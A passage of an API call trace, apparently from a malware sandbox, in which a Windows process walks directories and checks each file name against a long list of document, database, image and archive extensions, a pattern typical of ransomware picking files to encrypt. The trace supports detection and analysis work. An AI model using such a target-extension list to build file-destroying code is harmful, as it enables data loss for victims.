	[0176.991] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.991] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0176.991] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.991] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0176.991] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.992] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0176.992] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.992] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0176.992] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.994] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0176.994] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.994] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0176.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.995] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0176.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.995] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0176.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.995] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0176.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.995] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0176.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.995] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0176.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.996] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0176.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.996] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0176.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.996] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0176.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.996] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0176.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.996] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0176.996] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0176.996] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0177.081] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0177.083] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0177.087] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0177.087] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0177.087] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49d47, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0177.096] lstrlenW (lpString="plugin.js") returned 9
	[0177.096] lstrlenW (lpString=".1cd") returned 4
	[0177.096] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1
	[0177.096] lstrlenW (lpString=".3ds") returned 4
	[0177.096] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1
	[0177.096] lstrlenW (lpString=".3fr") returned 4
	[0177.096] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1
	[0177.096] lstrlenW (lpString=".3g2") returned 4
	[0177.100] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1
	[0177.100] lstrlenW (lpString=".3gp") returned 4
	[0177.100] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1
	[0177.100] lstrlenW (lpString=".7z") returned 3
	[0177.100] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0177.100] lstrlenW (lpString=".accda") returned 6
	[0177.100] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1
	[0177.100] lstrlenW (lpString=".accdb") returned 6
	[0177.100] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1
	[0177.100] lstrlenW (lpString=".accdc") returned 6
	[0177.100] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1
	[0177.100] lstrlenW (lpString=".accde") returned 6
	[0177.100] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1
	[0177.100] lstrlenW (lpString=".accdt") returned 6
	[0177.100] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1
	[0177.100] lstrlenW (lpString=".accdw") returned 6
	[0177.100] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1
	[0177.100] lstrlenW (lpString=".adb") returned 4
	[0177.100] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1
	[0177.100] lstrlenW (lpString=".adp") returned 4
	[0177.100] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1
	[0177.100] lstrlenW (lpString=".ai") returned 3
	[0177.100] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0177.100] lstrlenW (lpString=".ai3") returned 4
	[0177.100] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1
	[0177.100] lstrlenW (lpString=".ai4") returned 4
	[0177.100] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1
	[0177.100] lstrlenW (lpString=".ai5") returned 4
	[0177.100] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1
	[0177.100] lstrlenW (lpString=".ai6") returned 4
	[0177.100] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1
	[0177.100] lstrlenW (lpString=".ai7") returned 4
	[0177.100] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".ai8") returned 4
	[0177.101] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".anim") returned 5
	[0177.101] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1
	[0177.101] lstrlenW (lpString=".arw") returned 4
	[0177.101] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".as") returned 3
	[0177.101] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0177.101] lstrlenW (lpString=".asa") returned 4
	[0177.101] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".asc") returned 4
	[0177.101] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".ascx") returned 5
	[0177.101] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1
	[0177.101] lstrlenW (lpString=".asm") returned 4
	[0177.101] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".asmx") returned 5
	[0177.101] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1
	[0177.101] lstrlenW (lpString=".asp") returned 4
	[0177.101] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".aspx") returned 5
	[0177.101] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1
	[0177.101] lstrlenW (lpString=".asr") returned 4
	[0177.101] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".asx") returned 4
	[0177.101] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".avi") returned 4
	[0177.101] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".avs") returned 4
	[0177.101] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1
	[0177.101] lstrlenW (lpString=".backup") returned 7
	[0177.101] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1
	[0177.101] lstrlenW (lpString=".bak") returned 4
	[0177.101] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".bay") returned 4
	[0177.102] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".bd") returned 3
	[0177.102] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0177.102] lstrlenW (lpString=".bin") returned 4
	[0177.102] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".bmp") returned 4
	[0177.102] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".bz2") returned 4
	[0177.102] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".c") returned 2
	[0177.102] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0177.102] lstrlenW (lpString=".cdr") returned 4
	[0177.102] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".cer") returned 4
	[0177.102] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".cf") returned 3
	[0177.102] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0177.102] lstrlenW (lpString=".cfc") returned 4
	[0177.102] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".cfm") returned 4
	[0177.102] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".cfml") returned 5
	[0177.102] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1
	[0177.102] lstrlenW (lpString=".cfu") returned 4
	[0177.102] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".chm") returned 4
	[0177.102] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".cin") returned 4
	[0177.102] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".class") returned 6
	[0177.102] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1
	[0177.102] lstrlenW (lpString=".clx") returned 4
	[0177.102] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1
	[0177.102] lstrlenW (lpString=".config") returned 7
	[0177.103] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1
	[0177.103] lstrlenW (lpString=".cpp") returned 4
	[0177.103] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".cr2") returned 4
	[0177.103] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".crt") returned 4
	[0177.103] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".crw") returned 4
	[0177.103] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".cs") returned 3
	[0177.103] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0177.103] lstrlenW (lpString=".css") returned 4
	[0177.103] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".csv") returned 4
	[0177.103] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".cub") returned 4
	[0177.103] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".dae") returned 4
	[0177.103] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".dat") returned 4
	[0177.103] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".db") returned 3
	[0177.103] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0177.103] lstrlenW (lpString=".dbf") returned 4
	[0177.103] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".dbx") returned 4
	[0177.103] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".dc3") returned 4
	[0177.103] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".dcm") returned 4
	[0177.103] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".dcr") returned 4
	[0177.103] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1
	[0177.103] lstrlenW (lpString=".der") returned 4
	[0177.104] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".dib") returned 4
	[0177.104] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".dic") returned 4
	[0177.104] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".dif") returned 4
	[0177.104] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".divx") returned 5
	[0177.104] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1
	[0177.104] lstrlenW (lpString=".djvu") returned 5
	[0177.104] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1
	[0177.104] lstrlenW (lpString=".dng") returned 4
	[0177.104] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".doc") returned 4
	[0177.104] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".docm") returned 5
	[0177.104] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1
	[0177.104] lstrlenW (lpString=".docx") returned 5
	[0177.104] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1
	[0177.104] lstrlenW (lpString=".dot") returned 4
	[0177.104] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".dotm") returned 5
	[0177.104] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1
	[0177.104] lstrlenW (lpString=".dotx") returned 5
	[0177.104] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1
	[0177.104] lstrlenW (lpString=".dpx") returned 4
	[0177.104] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".dqy") returned 4
	[0177.104] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".dsn") returned 4
	[0177.104] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1
	[0177.104] lstrlenW (lpString=".dt") returned 3
	[0177.104] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0177.104] lstrlenW (lpString=".dtd") returned 4
	[0177.104] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".dwg") returned 4
	[0177.105] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".dwt") returned 4
	[0177.105] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".dx") returned 3
	[0177.105] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0177.105] lstrlenW (lpString=".dxf") returned 4
	[0177.105] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".edml") returned 5
	[0177.105] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1
	[0177.105] lstrlenW (lpString=".efd") returned 4
	[0177.105] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".elf") returned 4
	[0177.105] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".emf") returned 4
	[0177.105] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".emz") returned 4
	[0177.105] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".epf") returned 4
	[0177.105] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".eps") returned 4
	[0177.105] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".epsf") returned 5
	[0177.105] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1
	[0177.105] lstrlenW (lpString=".epsp") returned 5
	[0177.105] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1
	[0177.105] lstrlenW (lpString=".erf") returned 4
	[0177.105] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1
	[0177.105] lstrlenW (lpString=".exr") returned 4
	[0177.105] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".f4v") returned 4
	[0177.106] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".fido") returned 5
	[0177.106] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1
	[0177.106] lstrlenW (lpString=".flm") returned 4
	[0177.106] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".flv") returned 4
	[0177.106] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".frm") returned 4
	[0177.106] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".fxg") returned 4
	[0177.106] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".geo") returned 4
	[0177.106] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".gif") returned 4
	[0177.106] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".grs") returned 4
	[0177.106] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".gz") returned 3
	[0177.106] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0177.106] lstrlenW (lpString=".h") returned 2
